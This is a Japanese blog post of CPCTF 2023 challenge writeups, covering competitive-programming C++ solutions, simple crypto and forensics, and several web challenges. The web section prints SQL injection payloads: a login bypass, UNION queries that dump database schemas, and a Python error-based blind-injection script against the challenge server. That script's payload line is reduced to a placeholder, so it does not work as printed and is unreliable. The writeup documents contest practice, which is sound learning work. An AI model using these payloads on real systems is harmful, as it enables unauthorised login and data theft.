はまやんはまやんはまやん

hamayanhamayan's blog

CPCTF 2023 Writeups

[Newbie] [Misc] 2DCode 1

何の参考にもならないWriteupですが、パッと見てMaxicodeだ!と分かったのでデコーダーに食わすとフラグが出てきました…
「Maxicode decoder」あたりで検索するといい感じのものが出てきます。

[Newbie] [ppc] Count Coins

競プロ問題。
シミュレーションで実装しよう。
問題文に書かれていることをそのまま実装するのだが、今回のように上限、下限が用意されている場合は、min,maxを使うとスリムに書ける。

int N, X, A[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> X;
    rep(i, 0, N) cin >> A[i];

    rep(i, 0, N) {
        if (A[i] == 1) X = min(10, X + 1);
        else X = max(0, X - 3);
    }

    cout << X << endl;
}

[Newbie] [Crypto] Entrance to the Crypto World

パッと見て、どの種類の暗号かはわからなかったが、とりあえず一通り試すかの気持ちでROT13を試してみると、初手が正解だった。
CyberChefでROT13を選択し、Amountをポチポチしながらいい感じのものを探すと以下でフラグが得られる。

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,24)&input=Q0osIFlHTkVRT0cuIEpRWSBGS0YgQVFXIE5LTUcgVkpLVSBVS09STkcgVVdEVVZLVldWS1FQIEVLUkpHVD8gWUtWSiBDIE5LVlZORyBLUElHUFdLVkEsIFVXRUogQyBVV0RVVktWV1ZLUVAgRUtSSkdUIEVDUCBER0VRT0cgQyBYR1RBIEZLSEhLRVdOViBFS1JKR1QuIFFQRyBHWkNPUk5HIEtVIFZKRyBHUEtJT0MgRVRHQ1ZHRiBEQSBWSkcgSUdUT0NQVS4gWUpBIEZRUCdWIEFRVyBFSkdFTSBLViBRV1Y/IFBRWSwgSkdURyBLVSBWSkcgSE5DSS4gRVJFVkh7M1BMMEFfN0ozX1kwVE5GXzBIX0VUQVI3MCF9

[Newbie] [ppc] Transfer

競プロ問題。数学的な問題。
各駅停車にかかる時間はA+B分で、急行にかかる時間はC+D分なので、この2つの時間のうち、早い時間を答えると正解となる。
ifで比較してもいいし、min関数で小さいほうを返す方が意味が伝わりやすいかもしれない。

int A, B, C, D;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> A >> B >> C >> D;
    int ans = min(A + B, C + D);
    cout << ans << endl;
}

[Newbie] [Web] easylogin

SQLインジェクションを使い、adminとしてログインしてみましょう。」とあるので、教科書通りに

ユーザー名:admin
パスワード:' or ''='

とするとフラグが出てくる。

[Newbie] [Forensics] investigation

大量の画像データが与えられる。
問題文にあるようにRDP接続したときに使用されるRDP Bitmap Cacheを模した問題となっている。
一つの画面が一定サイズの画像に分けられ、バラバラに保存されている。
枚数もそれほど多くないので目視でフラグを探していくと、40.pngと59.pngに大部分のフラグが書かれていて、くっつけていい感じに整えると正答。

[Newbie] [Shell] netcat

netcatというものに慣れていないとちょっと戸惑うかもしれない。
linux環境でnc netcat.cpctf.space 30005と実行するとフラグが得られる。

[Easy] [Misc] 1dayattack

時事ネタ。
トリムされたスクリーンショットが実はトリム外の情報も含んでる、みたいな激ヤバ脆弱性があり、騒ぎになったことがある。
https://www.itmedia.co.jp/mobile/articles/2303/20/news072.html

脆弱性はaCropalypseと命名されていて、これでググると解析サイトが見つかり、問題文にあるデバイスを一致させて使うとフラグが出てくる。
https://acropalypse.app/

[Easy] [ppc] Find cpctf

競プロ。
部分文字列にcpctfがどこにあるかという部分を全探索することにする。
つまり、[1:5]文字目をcpctfにできるか、[2:6]文字目をcpctfにできるか、…というのを全探索で調べていき、もし1つでもできるところがあればYesだし、全部ダメならNoとなる。

[st,st+4]文字目がcpctfであるかを判定するにはどうすればいいだろうか。
stが固定されていると、S[st]が'c'になるにはどういったAが必要であるかがわかる。 例えばS[st] = 'a'であれば、A=2が必要ということになる。
他の文字についても同様のことが言え、stが固定されていれば、[st,st+4]文字目をcpctfにするために必要な配列Aの数字が特定できる。
もっと具体例を出すと、S[st:st+4] = 'aaaaa'であれば、これをcpctfにするには、2,15,2,19,5がAに含まれている必要がある。

このように配列Aから、とある5つの数が用意できるかという問題を解決するのに、自分はmapによる個数カウントで判定した。

cnt[x] := 配列Aの中にある数xの個数

これを用意しておき、

req[x] := 必要とされている5つの数xの個数

みたいな感じで用意しないといけない側も個数を数えて、すべてのxについて req[x] <= cnt[x] であることを確認した。

int N, A[101010];
string S;
string goal = "cpctf";
//---------------------------------------------------------------------------------------------------
int diff(char source, char dest) {
    if (source <= dest) return dest - source;
    return dest - 'a' + 'z' - source + 1;
}
//---------------------------------------------------------------------------------------------------
#define YES "Yes"
#define NO "No"
string solve() {
    map<int,int> cnt;
    rep(i, 0, N) cnt[A[i]]++;

    int stringLength = S.size();
    rep(st, 0, stringLength - 5 + 1) {
        map<int,int> req;
        rep(i, 0, 5) req[diff(S[st + i], goal[i])]++;

        bool ok = true;
        fore(p, req) if(p.second > cnt[p.first]) ok = false;
        if(ok) return YES;
    }
    return NO;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];
    cin >> S;

    cout << solve() << endl;
}

[Easy] [ppc] Geometric Progression Sum

競プロ。
ソースコードではmodint使ってるので注意。

区間に対して等比数列を代入する問題。
今回解法のミソになっているは全てのクエリについて公比のXが同一であるという点である。
これを活用し、imos法を発展させた方法を使うことで面白い解法が生み出せる。
imos法を理解してから、戻ってくることをお勧めする。

複数クエリでなく、単一クエリの場合で考えてみる。
とある区間について、B, BX, BX2, ...のような感じで数を足していくと思うが、これをimos法っぽくやってみることにする。 まず、区間の最初にだけBを入れておく。

B 0 0 0 0 0

先頭から順に更新を伝搬させていくが、A[i] = A[i] + A[i-1] * Xとして更新していくことにする。
1イテレーションしてみると、

B BX 0 0 0 0

いい感じ。もう1イテレーションしてみると、

B BX BX2 0 0 0

とてもいい感じ。今回は区間なので終わりを作る必要があるが、これもimos法と同様に打ち消すようなものを入れておけばいい。
つまり、

B 0 0 -BX3 0 0

という感じに始めて、2回イテレーションすると

B BX BX2 -BX3 0 0

となり、この状態で進めると、

B BX BX2 0 0 0

となって、特定区間に対して等比数列を埋め込むことができる。
なので、区間の先頭にBを加えて、区間末尾の1つ後ろにBR-L+1を入れて、
全部入れたあとの最後にA[i] = A[i] + A[i-1] * Xで更新すれば答えの数列が得られる。

int N, X, Q;
mint A[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> X >> Q;
    rep(_, 0, Q) {
        int B, L, R;
        cin >> B >> L >> R;
        L--;

        A[L] += B;
        A[R] -= mint(B) * (mint(X) ^ (R - L));
    }
    rep(i, 1, N) A[i] += A[i - 1] * X;

    rep(i, 0, N) {
        if(i) printf(" ");
        printf("%d", A[i].get());
    }
    printf("\n");
}

[Medium] [Web] admin watches you

ユーザー作成といいね機能が付いたサイトが与えられる。
adminユーザーからいいねがもらえればフラグがもらえるが、adminユーザーを作ることはできないし、XSSのようなadminユーザー操作を誘発できるものもない。
さて、どうしたものだろうか。

ソースコードももらえているので、中身を確認してみると「インジェクション」できるポイントがある。
脆弱なポイントは、いいねの管理をコンマ区切りで行っていて、かつ、ユーザー名にコンマが含まれているかを確認していない所である。
つまり、コンマを含んだユーザーを作成していいねを行うと、いいねリストに仕様外のコンマが混入し、いいねしていないユーザーに対していいねしたことにすることができる。 具体的には、,adminというユーザーを作成し、適当にコメントを投稿して「いいね」を押すとフラグが手に入る。
いいねリストに,adminが追加されるので、コンマ区切りでいいねリストを取得したときにadminからいいねされたことにされるという流れ。

[Medium] [Web] dictionary

色々試すと'SQL ERRORとSQLエラーが出るので、SQLインジェクションができそう。 ' or 1=1 #とすると全部の単語が出てくる。

次はunionできないか試そう。
色々試すとasgjaisjiewr' union select 1,2 #で2と出てくる。
2番目の要素が出力されるようだ。

後は色々やるとフラグが出る。

asgjaisjiewr' UNION SELECT 1,GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES #
-> dictionary,information_schema

asgjaisjiewr' UNION select 1,GROUP_CONCAT(distinct table_name) from information_schema.tables where table_schema = 'dictionary' #
-> フラグが出てくる

[Hard] [Web] campaign registration

応募サイトが与えられる。
SQL Injectionに対して脆弱ではありそう。適当に試すと') #で応募できるので、INSERT文なんだろう。
応答に結果が乗ってきているわけではないのでBlind SQL Injectionすればよさそう。

なんかいい感じのオラクルないかなーとポチポチやっていると、

' + exp(1)) # -> 応募しました
' + exp(1337)) # -> SQL ERROR

という感じにError-Basedで応答の違いを得ることができた。
ok.
ラクルがわかれば、あとはいつものようにError-Based Blind SQL Injectionを構築する。
いつものPOCを使いまわしているが、

' + if(0 <= ascii(substring((SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES),1,1)), exp(1337), 0)) #

みたいなpayloadを作って頑張る。

import requests
import time

url = 'https://campaign-registration.cpctf.space/'

#req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES'
#[*] campaign_registration,informat
#req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='campaign_registration'"
#[*] done! flags,registrations
#req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='flags'"
#[*] done! body,id
req = "SELECT GROUP_CONCAT(distinct body) FROM flags"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"s"
        res = requests.post(url, data={'name':exp})
        if 'SQL ERROR' in res.text:
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")